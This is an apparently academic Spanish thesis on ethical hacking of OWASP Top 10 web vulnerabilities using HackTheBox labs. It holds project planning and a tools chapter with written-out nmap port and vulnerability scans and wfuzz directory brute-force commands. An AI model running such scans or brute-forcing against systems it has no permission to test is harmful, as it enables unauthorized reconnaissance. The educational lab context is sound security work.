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1 Introducción 
Éste es un trabajo de investigación con un carácter de estudio sistemático cuyo objetivo 

principal consiste en indagar en las formas en que un hacker ético analiza, detecta y 

explota las vulnerabilidades de un sistema y cómo puede hacer su propietario para 

protegerse de ello. Estas habilidades corresponden a la mención de Tecnologías de la 

información de la carrera de Ingeniería informática de la Facultad de Informática de 

Barcelona. El trabajo está inspirado en algunas de las asignaturas relacionadas con la 

seguridad de la información cursadas a lo largo de la carrera. 

 

1.1 Contexto 
En el mundo de la seguridad de la información, el concepto de vulnerabilidad se entiende 

como un fallo o debilidad de un sistema que puede llegar a poner en riesgo a éste. Las 

causas por las que estos “agujeros” existen pueden ser por un error de configuración, una 

carencia de procedimientos o un fallo de diseño. Los peligros de ignorar las 

vulnerabilidades de un sistema pueden conllevar a la pérdida de información sensible, al 

mal funcionamiento o a la interrupción de éste. Es por ello que existe todo un negocio de 

actividades cibercriminales que se dedican a encontrar estos agujeros en los sistemas 

para extorsionar a las empresas víctimas.[1] 

 

El Proyecto Abierto de Seguridad en Aplicaciones Web (OWASP por sus siglas en inglés) 

es una comunidad abierta dedicada a permitir que las organizaciones desarrollen, 

adquieran y mantengan aplicaciones y APIs en las que se pueda confiar. OWASP ofrece 

numerosas herramientas, libros, conferencias, etc. para abogar por la seguridad de los 

sistemas.[2] 

 

Esta organización ofrece cada año su clasificación de los 10 mayores riesgos potenciales 

para los sistemas de la mayoría de empresas, denominado OWASP Top 10. En éste 

podemos encontrar cuáles son las vulnerabilidades más críticas para un amplio tipo de 

organizaciones. Para cada una de ellas, se proporciona información genérica sobre la 

probabilidad y el impacto técnico utilizando un esquema de evaluación propio. Se 

muestran también varios ejemplos y formas de prevenirlas. 

 

A continuación, veamos algunas de las vulnerabilidades que potencialmente se tratarán 

en el proyecto junto a su posición en el ranking de 2021. Las definiciones son extraídas 

de [3]: 

• Top 1: Broken Access Control: Las vulnerabilidades de control de acceso 

incluyen escalada de privilegios, creación o modificación de URLs maliciosas, 

bypass del control de acceso, configuración incorrecta de CORS y manipulación de 

claves primarias.  

• Top 3: Injection: Las inyecciones más comunes son las inyecciones SQL y NoSQL, 

la inyección de comandos, inyección LDAP y Cross-Site Scripting. En general, se 
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consideran todas las inyecciones causadas por falta de validación de los campos 

de usuario. Ahora Cross-Site Scripting (XSS) pasa a estar en esta categoría. 

• Top 5: Security Misconfiguration: Las aplicaciones pueden ser consideradas 

vulnerables si hay una falta de configuración de seguridad, si hay funcionalidades 

innecesarias, si las cuentas por defecto se mantienen activas y si las 

funcionalidades de seguridad no se configuran correctamente. Se consideran en 

este campo las ataques XML External Entity (XXE). 

• Top 6: Vulnerable and Outdated Components: Esta categoría se centra en 

componentes del lado del cliente y del lado del servidor, fallos de mantenimiento 

de componentes, sistemas de soporte obsoletos (como un sistema operativo, 

servidores web, librerías) así como configuración incorrecta de componentes. 

 

1.2 Problema 
Entendida ahora la importancia de mantener nuestros sistemas seguros y libres de 

vulnerabilidades nos viene a la mente la siguiente pregunta: ¿Cómo puedo saber si mi 

sistema es seguro? La respuesta es más sencilla de lo que parece: Según [4], ningún 

sistema es seguro al cien por cien, solo se necesita tiempo y dinero para vulnerarlo. Ahora 

bien, no está todo perdido, la frase continúa así: La idea está en intentar ponérselo difícil 

a los atacantes.  

 

Para ello, es imprescindible mantener actualizados los sistemas informáticos y realizar 

auditorías periódicamente. Y es en las auditorías donde recae el peso de este proyecto. 

 

Muchas veces sobrestimamos la seguridad de nuestros sistemas y subestimamos la 

creatividad y conocimiento de los cibercriminales que arremeten contra ellos. La mejor 

manera de mantener seguros nuestros sistemas es, sin lugar a dudas, realizar una 

auditoría o test de penetración. Esto permite simular un ataque, tanto a nivel de 

componentes y aplicaciones web como a nivel social con ataques dirigidos a los propios 

trabajadores, para comprobar cuales son las vulnerabilidades que existen en ese 

momento y poder corregirlas antes de sufrir un ataque real. 

 

Existen diferentes tipos de auditorías de ciberseguridad dependiendo de su objetivo. En 

nuestro caso, veremos el funcionamiento de un test de intrusión junto a un análisis de 

vulnerabilidades de una aplicación web. 

 

1.3 Agentes Implicados 
Las auditorías mencionadas en el apartado anterior junto a los demás tipos existentes 

van dirigidas a absolutamente todas las empresas que tengan un sistema y quieran 

probar la seguridad de éste. Para ello, existen varias maneras de realizarlas.  

 

● Una de ellas es mediante el personal propio de la organización. Se denomina a este 

tipo de auditoría: Interna.[5] 
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● La otra es contratando a personal externo e independiente a la organización. Hay 

empresas que se dedican a realizar auditorías y test de intrusión en otras 

organizaciones. Se denomina a este tipo de auditoría: Externa.[5] 

 

Este proyecto pretende servir como introducción a los test de intrusión y búsqueda de 

riesgos en aplicaciones web. Su objetivo es enseñar el funcionamiento y proceso de la 

detección y explotación de vulnerabilidades tal y como lo haría un cibercriminal para 

adelantarse a la posible explotación de estas. Es por ello que puede servir como puente a 

una persona que quiera iniciarse en el mundo del hacking ético o incluso recordar las 

características de alguna herramienta o el funcionamiento de alguna vulnerabilidad a un 

usuario más avanzado. 

 

1.4 Justificación 
En el caso de este proyecto, al ser un trabajo de investigación, instará compararlo con 

otro tipo de fuente de información que pueda ofrecer algo al respecto. Mi intención es 

utilizar como base el informe del top 10 de OWASP e indagar en algunas de las 

vulnerabilidades más críticas. Pretendo ofrecer una expansión a lo que se explica sobre 

cada uno de los riesgos escogidos, a su vez que realizo una demostración práctica en un 

entorno controlado de cómo se explota ese agujero de seguridad, al igual que en un test 

de intrusión. 

 

Como venía diciendo, el informe de OWASP, cambiante cada año, permite reconocer 

rápidamente las mayores amenazas en cuanto a vulnerabilidades se refiere. No obstante, 

no parece ofrecer una demostración gráfica de las consecuencias que esto conlleva o de 

la forma en que se realiza la detección y explotación de vulnerabilidades. Sí que es cierto 

que se pueden encontrar videos o textos informativos por internet, pero no existe un 

documento oficial como tal que lo muestre, ya que para eso están las academias y los 

certificados de ciberseguridad correspondientes. La idea de este proyecto es crear una 

especie de puente que ligue ambos mundos, el de la teoría y estadística y el de la práctica 

y oficio. Una especie de introducción al mundo de la ciberseguridad que me pueda servir 

tanto a mi como a cualquier persona que necesite informarse o busque una forma de 

concienciar a los demás sobre este nuevo mundo. 

 

En cuanto a la pregunta sobre si ya existen alternativas a este trabajo, la respuesta es que 

sí. Hay bastantes cursos gratuitos y de pago sobre introducción al mundo de la 

ciberseguridad. Habiendo realizado alguno de ellos, me gustaría dar mi versión de las 

cosas para brindar otro punto de vista. Añadir y eliminar información más o menos 

relevante y obtener un escrito que informe y permita aprender de buena manera sería el 

objetivo.  
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1.5 Alcance 
Cómo he dicho en el apartado anterior, me remitiré a seleccionar minuciosamente las 

vulnerabilidades que, bajo mi criterio subjetivo y basándome en la criticidad de éstas, 

considere más importantes. A continuación, veremos que hay mucho que explicar y es 

necesario capar de cierta forma el número de vulnerabilidades a tener en cuenta, por lo 

que solo veremos, en lo que respecta a “bastante a fondo”, en torno a 4 de las 10 que hay 

publicadas en el informe. 

 

1.6 Objetivos 
1 Aprender el funcionamiento de herramientas básicas de hacking ético 

En esta parte del trabajo me gustaría explicar qué herramientas se suelen 

utilizar normalmente para realizar una intrusión a una máquina. 

1.1 Nmap  

Herramienta para escaneo de puertos. 

1.2 BurpSuite  

Herramienta usada como proxy web. 

1.3 Metasploit  

Herramienta usada para buscar exploits  

1.4 Otras más situacionales  

Herramientas como gtfobins, wpscan, wafw00f, cheats para reverse shells, 

wappalyzer, etc. 

 

2 Identificar algunas de las vulnerabilidades del top 10 OWASP 

Para ello se utilizarán algunas máquinas de prueba con algunas de estas 

vulnerabilidades y se tratará de explorarlas con las herramientas del apartado 

anterior. 

2.1 Detectar Control de acceso 

2.2 Detectar Inyecciones 

2.3 Detectar Componentes vulnerables 

2.4 Detectar un ataque XXE 

 

3 Explotar las vulnerabilidades encontradas 

Una vez encontradas las vulnerabilidades se trataría de aprovecharlas para 

realizar una intrusión. Por el tipo de máquinas que usaremos (CTF), valdría 

con conseguir la flag de usuario y administrador. Aquí el proceso será diferente 

para cada una de las vulnerabilidades, pues no todas usan las mismas 

herramientas o se resuelven de la misma forma. 

3.1 Explotar Control de acceso 

3.2 Realizar Inyecciones 

3.3 Explotar Componentes vulnerables 

3.4 Realizar un ataque XXE 
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4 Aprender técnicas o métodos para cubrir las brechas de seguridad 

explotadas 

Esta es la parte totalmente innovadora para mí, pero es cierto que completa 

bastante bien lo que es el tema principal, es decir, las vulnerabilidades. 

4.1 Protegerse el Control de acceso 

4.2 Protegerse de inyecciones 

4.3 Protegerse de componentes vulnerables 

4.4 Protegerse de ataques XXE 

 

1.7 Requerimientos 
Para cumplir con los anteriores objetivos se requerirá de las siguientes utilidades: 

 

1. Una cuenta VIP de HackTheBox con acceso a todas las máquinas de la plataforma. 

Aunque existen más plataformas totalmente gratuitas, he preferido decantarme 

por ésta ya que garantiza una mayor seguridad al usuario y ofrece todo un amplio 

catálogo de sistemas con los que practicar todo tipo de vulnerabilidades. Sin la 

cuenta VIP, solo tendríamos acceso a unas pocas máquinas que van rotando a lo 

largo del tiempo. 

2. Una máquina virtual con Kali Linux o Parrot. Estos dos son sistemas operativos 

destinados a los test de intrusión y hacking ético. Contienen preinstaladas la 

mayoría de herramientas que usaremos. 

 

1.8 Obstáculos y riesgos 
A continuación, se enumeran las que considero como las principales dificultades 

potenciales del proyecto: 

1. Dado que este es un trabajo de investigación, la falta de material sobre un tema 

puede provocar una falta de información perjudicial para la documentación de 

éste. 

2. La selección de máquinas al momento de escoger las vulnerabilidades puede 

resultar difícil. Es posible que no encuentre ninguna que se adecue o que 

encuentre muchas y no pueda decantarme por una sola. 

3. Es posible, también, que la máquina escogida resulte demasiado compleja para 

resolver y tome más tiempo del necesario, alargando la fecha estimada de 

resolución. 

 

1.9 Metodología 
Dada la índole del trabajo, es importante tener tiempo para gestionar de buena forma 

toda la información obtenida. Es necesario filtrar, comparar y resumir la información 

para obtener un documento de la mayor calidad posible. Es por ello que la creación de un 

calendario con tareas, tiempos estimados y fechas límite es fundamental.  

 



 

12 

En cuanto a la parte más práctica, la conexión y resolución de las máquinas se hará 

mediante la web HackTheBox. Esta ofrece una conexión vía VPN completamente segura 

para el usuario a cada una de las máquinas escogidas. Podemos confiar en la calidad de 

las máquinas brindadas por esta web ya que posee un renombre a nivel internacional 

entre la comunidad del campo de la ciberseguridad. Una vez dentro, hará falta utilizar las 

herramientas mencionadas en el primer punto del apartado 3 para detectar y explotar las 

posibles vulnerabilidades. Sabremos que hemos tenido éxito cuando logremos obtener 

las “flags” que hay dentro de los sistemas.  

 

El documento consistirá en explicar cómo se ha ido usando cada herramienta en cada 

situación para obtener información sobre las vulnerabilidades del sistema y 

posteriormente explotarlas para finalizar la intrusión. Se incluirán imágenes de capturas 

de pantalla para facilitar el entendimiento al lector. 

 

1.10  Herramientas 
Para el seguimiento de las tareas utilizaré una extensión de Google Chrome llamada 

Gantter. Es un software que utilicé en la asignatura de Proyectos de Tecnología de la 

Información, de la Facultad de Informática de Barcelona, que consiste en especificar una 

serie de objetivos junto a su fecha estimada de duración y obtener un diagrama de Gantt 

para una mejor organización. 

 

Para la máquina virtual, utilizaré Oracle VM VirtualBox. Este es un software muy conocido 

que permite el despliegue de máquinas virtuales mediante una imagen del sistema 

operativo deseado. 

 

Para las máquinas con las vulnerabilidades, haré uso de la plataforma HackTheBox en la 

que hay más de 200 tipos distintos de máquinas vulnerables con todo tipo de dificultades 

y accesibilidad. 

 

Para realizar la detección y explotación de vulnerabilidades, utilizaré diferentes 

programas. Entre ellos están nmap, Burp Suite y Wfuzz, que serán explicados en su 

correspondiente apartado. 

 

2 Planificación 

2.1 Descripción de las tareas 
A continuación, se muestran las tareas a realizar. Para facilitar su identificación y 

comprensión a su vez que distinguen mejor las fases del proyecto, algunas de ellas se 

agruparán en bloques por similitudes. 

 

2.1.1 Gestión del proyecto (GP) 
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La gestión del proyecto consiste en una definición, planificación y documentación del 

trabajo. Conlleva también las reuniones con el director y la preparación de la 

presentación final ante el tribunal. Se estima la duración de este bloque en unas: 161 

horas. 

 

GP.1 – Alcance 

Es importante tener bien definido el alcance de nuestro proyecto antes de empezarlo. 

Saber reconocer los puntos fuertes y débiles lo antes posible, nos ayudará también a 

organizar planes de acción acorde a los riesgos. Se estima un total de 20 horas dedicadas 

al alcance del proyecto. 

 

GP.2 – Planificación 

La planificación es esencial para cumplir con el alcance definido. Por ello, este se 

considera como su predecesor. La planificación consiste en separar el trabajo en 

distintas tareas bien definidas y con una duración estimada lo más realista posible y 

organizarlas a lo largo del tiempo. También es importante la gestión de riesgos y los 

planes de acción. Se estima un total de 15 horas. 

 

GP.3 – Presupuesto 

El presupuesto nos ayudará a visualizar el coste total de nuestro proyecto. Dado que 

este es un trabajo de investigación, el coste total no será comparable a otro tipo de 

proyectos más constructivos (en el sentido de “construcción”). Se estima un total de 

10 horas. 

 

GP.4 – Informe de sostenibilidad 

El informe de sostenibilidad servirá para analizar el impacto medioambiental, 

económico y social que tendrá el proyecto. Se estima un total de 6 horas. 

 

GP.5 – Reuniones 

Las reuniones son necesarias para mantener informado al director del proyecto al 

igual que nos permite ser más conscientes del ritmo del trabajo. Ya sea mediante 

mensajes electrónicos, informes o videollamadas, es importante mantener el contacto 

con cierta periodicidad. Se estima un total de 15 horas. 

 

GP.6 – Documentación 

La parte más importante de este proyecto es sin duda la documentación, pues el 

proyecto en sí con todas sus fases estará recogido en la memoria final. La 

documentación se realiza de forma paralela al resto de las fases del proyecto. La 

duración estimada es de un total de 80 horas. 

 

GP.7 – Presentación 
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Una vez finalizada la documentación, da paso la preparación de la presentación final 

y defensa ante el tribunal. Para esta presentación es necesario la creación de la 

misma junto a su práctica. Se estima un total de 15 horas. 

 

2.1.2 Trabajo previo (TP) 

Este trabajo previo son tareas que se han de realizar antes de iniciar con el proyecto, pero 

que pueden hacerse de forma paralela a la gestión de este. Son las citadas a continuación 

y se estima un total de 6 horas 

 

TP.1 – Gestión de la máquina virtual 

Es importante tener preparada la máquina virtual con la que vamos a realizar la 

mayoría del proyecto. Hay que descargar la imagen, configurar la máquina y hacer 

pruebas con ella. Se estima un total de 3 horas. 

 

TP.2 – Gestión de la cuenta en HackTheBox 

Como utilizaremos este servicio para acceder a las máquinas vulnerables, es necesario 

gestionar nuestra cuenta e investigar los precios de sus suscripciones. Se estima un 

total de 3 horas. 

 

2.1.3 Investigación de herramientas (IH) 

En esta fase del proyecto se procederá a buscar información acerca de las herramientas 

que se usarán en las fases consiguientes. Es por ello que se debe realizar antes y por ende 

ser predecesora. Se estima un total de 60 horas. 

 

IH.1 – Nmap 

Hay que informarse acerca de la herramienta Nmap que se usará principalmente para 

escaneo de puertos en la máquina víctima. Es necesario saber cómo usarla 

correctamente y tratar sus respuestas para interpretarlas adecuadamente. Se estima 

un total de 15 horas. 

 

IH.2 – Fuzzing 

Hay que informarse acerca de las diferentes herramientas para realizar fuzzing que 

existen. Una vez comparadas, hay que decantarse por la que se considere como mejor 

y estudiar su uso correcto. Se estima un total de 15 horas. 

 

IH.3 – BurpSuite 

Hay que informarse acerca de la herramienta BurpSuite que se usará como proxy web. 

Esta es una herramienta compleja, por lo que requerirá de una buena investigación 

por todas las posibilidades que ofrece. Se estima un total de 15 horas. 

 

IH.4 – Otras herramientas útiles 
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Existen otras herramientas mencionadas en el apartado de objetivos que pueden ser 

más situacionales o requieren de un menor tiempo de aprendizaje. Es por ello que se 

agrupan aquí la mayoría. No se realizará una explicación tan intensa de ellas, sino más 

bien una mención. Se estima un total de 15 horas. 

 

2.1.4 Resolución de máquinas (RM) x2 
Esta es la parte principal del proyecto y consiste en la resolución de las máquinas junto a 

una explicación sobre las vulnerabilidades del TOP 10 de OWASP explotadas y su 

correspondiente proceso de protección. En total se harán 2 máquinas cuyas tareas son 

idénticas, por lo que las escribo una sola vez, aunque en el diagrama de Gantt se verá dos. 

Se estima un total de 48 horas por máquina, 96 en total. 

 

RM.1 – Conexión 

Esta tarea consiste en el acceso a la máquina víctima. Para ello hay que entrar en la 

web de HackTheBox y descargar un archivo ovpn con el que, desde la máquina virtual, 

tendremos acceso. Se estima un total de 1 hora. 

 

RM.2 – Fase de escaneo 

El primer paso en nuestro procedimiento de ataque será siempre realizar un escaneo 

de puertos en la máquina junto a otras medidas de reconocimiento. Para ello se hará 

uso de Nmap y otras herramientas propias. Se estima un total de 2 horas. 

 

RM.3 – Detección de vulnerabilidades 

La detección de vulnerabilidades constituye una gran cantidad de tiempo, pues obliga 

a explorar la máquina en búsqueda de pistas y suele inducir a varias búsquedas en la 

red sobre información detallada de algunos softwares. Una vez encontrado un posible 

fallo, podemos pasar a la fase de explotación, aunque nada impide que trabajemos 

paralelamente la protección contra esta. Se espera encontrar vulnerabilidades del 

tipo XXE y Broken Access Control (TOP 5 y 1 de OWASP respectivamente) en la 

primera máquina y de Injection (TOP 3 de OWASP) en la segunda. Se estima un total 

de 15 horas. 

 

RM.4 – Explotación de vulnerabilidades 

La explotación de vulnerabilidades se realiza una vez detectada la vulnerabilidad en 

cuestión. Se trata de ganar acceso a la máquina como usuario y, posteriormente 

administrador, mediante las herramientas explicadas y junto a una investigación en 

la red. Se estima un total de 15 horas. 

 

RM.5 – Protección contra vulnerabilidades 

Una vez detectada la vulnerabilidad se deberá entender por qué motivo ocurre y como 

se puede hacer para solucionarlo. Se deberán explicar los métodos más conocidos y 

eficaces recomendados por OWASP. Se estima un total de 15 horas. 



 

16 

 

2.2 Recursos 

2.2.1 Recursos Humanos 
Se pueden identificar 3 diferentes perfiles en el proyecto. Aun así, el trabajo será realizado 

por una sola persona, por lo que tendré que asumir los diferentes roles cuando la 

situación lo requiera. En la [Tabla 1] se muestran los roles asociados a las tareas. 

 

1. Jefe de proyecto: Es el encargado de las tareas de gestión del proyecto y la voz 

que toma decisiones significativas. 

 

2. Investigador: Es el responsable de la investigación del proyecto. Encuentra, 

filtra y compara información que después se usará por alguno de los otros dos 

roles en el proyecto. 

 

3. Pentester: Es el que se ocupará de las tareas relacionadas con la resolución de 

máquinas. Se encargará de detectar y explotar las vulnerabilidades. 

 

2.2.2 Recursos Materiales 

1. Hardware: Para este trabajo de investigación el único hardware necesario será 

un PC con acceso a internet y sus correspondientes periféricos. 

 

2. HacktheBox: Se hará uso de las máquinas pertenecientes a esta plataforma. 

 

3. VirtualBox: Se utilizará el software de VirtualBox para poder tener acceso a 

nuestra propia máquina virtual con sistema operativo Parrot. 

 

2.3  Tabla de Tareas 
Id Nombre Tiempo (h) Predecesores Recursos 

GP Gestión del proyecto 161h - Jefe 

GP.1 Definir Alcance 20h - Jefe 
GP.2 Planificación 15h GP.1 Jefe 
GP.3 Presupuesto 10h GP.2 Jefe 
GP.4 Informe de sostenibilidad 6h GP.2 Jefe 
GP.5 Reuniones 15h - Jefe 
GP.6 Documentación 80h - Jefe,Investigador 
GP.7 Presentación 15h GP.6 Jefe 

TP Trabajo previo 6h - Jefe, Pentester 

TP.1 Gestión de máquina virtual 3h - Jefe, Pentester 
TP.2 Gestión cuenta HackTheBox 3h - Jefe, Pentester 

IH Investigación Herramientas 60h TP Investigador 

IH.1 Nmap 15h TP Investigador 
IH.2 Fuzzing 15h IH.1 Investigador 
IH.3 BurpSuite 15h IH.2 Investigador 
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IH.4 Otras herramientas útiles 15h IH.3 Investigador 

RM1 Resolución máquina 1 48h IH Pentester 

RM1.1 Conexión 1h IH Pentester 
RM1.2 Fase de escaneo 2h RM1.1 Pentester 
RM1.3 Detección vulnerabilidades 15h RM1.2 Pentester 
RM1.4 Explotación 

vulnerabilidades 
15h RM1.3 Pentester 

RM1.5 Protección vulnerabilidades 15h RM1.3 Pentester 

RM2 Resolución máquina 2 48h RM1 Pentester 

RM2.1 Conexión 1h RM1 Pentester 
RM2.2 Fase de escaneo 2h RM2.1 Pentester 
RM2.3 Detección vulnerabilidades 15h RM2.2 Pentester 
RM2.4 Explotación 

vulnerabilidades 
15h RM2.3 Pentester 

RM2.5 Protección vulnerabilidades 15h RM2.3 Pentester 

- TOTAL 323h - - 
 

Tabla 1: Tabla de tareas con la duración en horas, las dependencias y los recursos humanos de las tareas. 

 

2.4 Gantt 
Por cuestiones de calidad de imagen, el diagrama de Gantt [Tabla 2] se encuentra 

adjuntado en el anexo al final del documento. 

 

2.5 Gestión de riesgos 
Aunque no parece existir ningún riesgo extremo para la salud del proyecto, es importante 

tener en cuenta la mayor cantidad posible de problemas que puedan entorpecer la 

trayectoria marcada en la planificación. A continuación, se describen los principales 

riesgos y su plan de acción correspondiente. 

 

1. Carga de trabajo: Aunque considero que es posible compaginar el trabajo 

de fin de grado con otras asignaturas, puede que en alguna de las semanas 

la carga de trabajo sea extremadamente elevada. Es por ello que he añadido 

más tiempo del justo a las tareas que se realizan en tiempos de entregas y 

exámenes. Si aun así no fuese posible, existe un margen de una semana 

desde la finalización del trabajo a la entrega como último recurso. Las 

reuniones también ayudarán a gestionar esta carga de trabajo. 

 

2. Fallo del hardware: Si por lo que sea el PC dejase de funcionar, se podría 

seguir accediendo a los archivos, pues estos están en la nube. También se 

podría seguir operando desde una máquina virtual idéntica que dispongo 

en un portátil. 
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3 Herramientas para el hacking ético 
El paso previo a aventurarse en la resolución de máquinas y detección y explotación de 

vulnerabilidades es conocer al uso las herramientas fundamentales del hacking ético. Se 

introducirán, explicarán y, posteriormente, se dará uso, a tres instrumentos principales y 

otros más de nicho. Comenzaremos por ver la herramienta de escaneo y reconocimiento 

de puertos nmap, seguido de diversas herramientas de fuzzing, continuando con el 

conocido proxy BurpSuite y finalizaremos viendo algunas otras herramientas dignas de 

mención. 

 

3.1  Nmap 
Nmap es una herramienta de código abierto para exploración de red y auditoría de 

seguridad. Se diseñó para analizar rápidamente grandes redes, aunque funciona muy 

bien contra equipos individuales. Nmap utiliza paquetes IP para determinar qué equipos 

se encuentran disponibles en una red, qué servicios (nombre y versión de la aplicación) 

ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de 

paquetes o cortafuegos se están utilizando, así como docenas de otras características. 

Aunque generalmente se utiliza Nmap en auditorías de seguridad, muchos 

administradores de redes y sistemas lo encuentran útil para realizar tareas rutinarias, 

como puede ser el inventariado de la red, la planificación de actualización de servicios y 

la monitorización del tiempo que los equipos o servicios se mantiene activos. [6] 

 

Se puede instalar nmap desde su página web (nmap.org), aunque la mayoría de sistemas 

operativos enfocados al hacking ético lo traen incorporado, como es en nuestro caso con 

el SO Parrot. 

 

El uso que le daremos a esta herramienta será la de reconocer los puertos abiertos de una 

dirección IP. Posteriormente lanzaremos también un ataque a los puertos ya reconocidos 

como abiertos para obtener información acerca del servicio y versión que corren en estos. 

Por último, podemos situacionalmente lanzar una serie de scripts que trae consigo nmap 

para detectar vulnerabilidades en los puertos abiertos. 

 

3.1.1 Reconocimiento de puertos abiertos 
Comencemos pues con el reconocimiento de los puertos abiertos de una dirección IP. 

Existen varias formas de hacer este trabajo, la primera es con el siguiente código. El 

resultado se nos retornará en un fichero que portará por nombre “allPorts”. Cabe recalcar 

que el parámetro -TX, donde 0<=X<=5, permite realizar un escaneo que pase de menos a 

más desapercibido respectivamente. Como nuestro entorno es controlado optamos por 

el 5, ya que nos da igual que el ataque sea fácilmente detectable y solo buscamos 

velocidad. 

 

Comando allPortsv1:  
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1. nmap DireccionIP -p- --open -T5 -v -n -oG allPorts 

 

        -p-: escanea todos los puertos del 1 al 65535. 

        --open: solo reporta los puertos abiertos. 

        -T5: aumenta la velocidad a costa de ser detectados más fácilmente. 

        -v: verbose, cuando detecta un puerto lo muestra por consola. 

        -n: aumenta velocidad (no hay resolución dns). 

        -oG: exportar a un fichero en formato grepable (llamado allPorts). 

 

Hay veces en las que este comando va demasiado lento. Para no perder tiempo 

innecesariamente y dada la naturaleza controlada de nuestro espacio, procedemos 

normalmente con la segunda versión de éste. Sustituimos el parámetro -TX por –min-rate 

5000 para enviar paquetes a una velocidad no inferior a la indicada. También añadimos 

algunos parámetros extras explicados a continuación. 

 

Comando allPortsv2: 

1. nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- DIRECCION_IP -
oG allPorts 

 -sS: tcp syn port scan. 

        --min-rate: emitir paquetes no más lentos que los indicados/s. 

        -vvv: triple verbose, para más información por pantalla. 

        -Pn: no aplica descubrimiento de hosts a partir de ARP. 

 

Con estos comandos obtenemos el fichero grepable con el que, mediante una herramienta 

de bash [7], copiaremos los puertos abiertos directamente a nuestro portapapeles para 

usarlos más cómodamente en los siguientes apartados. 

 

Ejemplo: 

 
Ilustración 1: Resultado comando extractPorts 

 

3.1.2 Servicio y versión de los puertos abiertos 

Una vez detectados los puertos abiertos, tenemos que proceder a obtener algo de 

información de ellos. Mediante los parámetros -sC y -sV (también abreviable como -sCV), 

lanzamos una serie de scripts básicos que nos permiten obtener el servicio y la versión 

de los puertos que habíamos localizado con anterioridad. El comando nos retornará un 

archivo legible llamado “targeted”. 
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Comando targeted: 

1. nmap -sC -sV -pPUERTOS DireccionIP -oN targeted 

        -sC: servicio que corre en los puertos. 

        -sV: versión del servicio que corre en los puertos. 

        -p: puertos sobre los que queremos indagar.  

        -oN: modo de exportación de nmap (a un fichero llamado targeted). 

 

Ejemplo: 

 
Ilustración 2: archivo targeted de ejemplo con los puertos 22 y 80 

3.1.3 Lanzamiento de scripts con nmap 

Por último y como algo bastante situacional, nmap permite el lanzamiento de scripts de 

diversas categorías. Estas son: "auth", "broadcast", "brute", "default", "discovery", "dos", 

"exploit", "external", "fuzzer", "intrusive", "malware", "safe", "version" y "vuln". 

 

Estas categorías pueden usarse y combinarse como queramos. Un ejemplo que lanzase 

scripts de dos categorías diferentes a un puerto de la máquina víctima sería: 

1. nmap --script "vuln and safe" -p80 10.10.10.X 

 

Donde “vuln and safe” son los dos tipos de scripts lanzados, 80 es el puerto atacado y el 

último parámetro es la IP de la máquina víctima. 
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3.2  Wfuzz 
Wfuzz ha sido creado para facilitar la tarea en las evaluaciones contra aplicaciones web, 

y está basado en un concepto simple; reemplaza cualquier referencia a la palabra clave 

FUZZ, por el valor del payload (carga útil) definido. 

 

Un payload en Wfuzz es una fuente de datos. 

 

Este concepto simple permite que cualquier entrada sea inyectada en cualquier campo de 

una petición HTTP, permitiendo realizar ataques complejos de seguridad web en 

diferentes componentes de la aplicación web, como parámetros, formularios, 

directorios/archivos, cabeceras, etc. [8] 

 

En nuestro contexto de aplicaciones web, utilizaremos esta herramienta para hacer 

ataques de fuerza bruta para encontrar los nombres de directorios y archivos que nos 

puedan ser útiles. El comando es el siguiente: 

1. wfuzz -c -L -t 400 --hc=404 -w 
/usr/share/wordlists/dirbuster/directory-list-2.3-

medium.txt http://DIRECCIONIP/FUZZ 

        -c: utilizar colores para diferenciar mejor. 

        -L: indica que se hace follow redirect. 

        -t 400: hay 400 hilos/threads. 

        --hc=404: ocultar el error 404 ya que no nos interesan las rutas que no existen. 

        -w: diccionario a usar. 

        FUZZ: donde van a ir las palabras del diccionario. 

 

Podemos también utilizar un segundo diccionario propio y combinar ambos en el mismo 

comando. Por ejemplo, si creamos el diccionario “extensiones.txt” tal que así: 

 
Ilustración 3: diccionario "extensiones.txt" 

Y después realizamos el siguiente comando: 

1. wfuzz -c -L -t 400 --hc=404 -w 
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -

w extensions.txt http://DIRECCIONIP/FUZZ.FUZ2Z 

Obtendremos los directorios o archivos correspondientes a 

http://10.10.10.X/palabras_del_diccionario_1.palabras_del_diccionario_2.  
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3.3  Dirbuster 
Dirbuster es una aplicación java multi hilo diseñada para obtener por fuerza bruta los 

nombres de directorios y archivos en servidores web/de aplicación. A menudo ocurre 

que lo que ahora parece un servidor web en una fase de instalación por omisión no lo es, 

y tiene páginas y aplicaciones ocultas. Dirbuster trata de encontrar estos. 

 

Sin embargo, las herramientas de esta naturaleza a menudo son solo tan buenas como la 

lista de archivos y directorios con los que vienen. Un enfoque diferente fue usado para 

generar esto. La lista fue generada desde cero, rastreando en internet y colectando los 

directorios y archivos que son realmente usados por los desarrolladores. Dirbuster viene 

con un total de 0 listas diferentes, esto hace a dirbuster extremadamente efectivo 

encontrando esos archivos y directorios ocultos. Y si eso no fuera suficiente, dirbuster 

también tiene la opción de realizar fuerza bruta pura, lo que no les deja lugar para 

esconderse a los archivos y directorios ocultos. [9] 

 

Esta herramienta en esencia es muy parecida a Wfuzz, no obstante, es una alternativa más 

visual, pues posee una interfaz gráfica. En nuestro caso, usaremos Wfuzz en la resolución 

de máquinas más adelante.  

 

A continuación, vemos cómo es la interfaz gráfica del programa y un ejemplo de su uso. 

 

 
Ilustración 4: Interfaz gráfica de dirbuster 
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Ejemplo: 

 

3.4  Burp Suite 
Burp Suite es una herramienta fundamental dentro de la seguridad informática, creada 

por la empresa PortSwigger y escrita en Java que permite realizar pruebas de seguridad 

de aplicaciones web. 

 

Entre las funciones básicas se encuentra el servidor proxy que permite inspeccionar y 

modificar el tráfico haciendo de intermediario entre el navegador y la aplicación destino, 

el escáner de vulnerabilidades que automatiza la detección de varios tipos de 

vulnerabilidades de aplicaciones web, el repetidor se utiliza para modificar y reenviar 

solicitudes individuales al servidor, y muchas otras funcionalidades. [10] 

 

Esta es, sin duda, una de las herramientas más complejas y, a su vez, más útiles, que nos 

podemos encontrar. No la veremos a fondo, pero explicaré sus utilidades como proxy web 

y las funcionalidades intruder y repeater, que considero las más importantes. Aunque 

primero es importante comentar el uso obligado de certificados que requiere para 

funcionar correctamente con los navegadores externos al suyo propio. 

 

3.4.1 Primeros pasos 

En nuestro entorno de Parrot OS el software de Burp Suite nos viene instalado por 

defecto. No obstante, este no funcionará si no realizamos una serie de modificaciones en 

la configuración de nuestro navegador e importamos un certificado para evitar errores 

de seguridad. 

 

En este caso el navegador será Mozilla Firefox. Primero configuraremos el uso de proxy 

manual y, después, importaremos el certificado. 

 

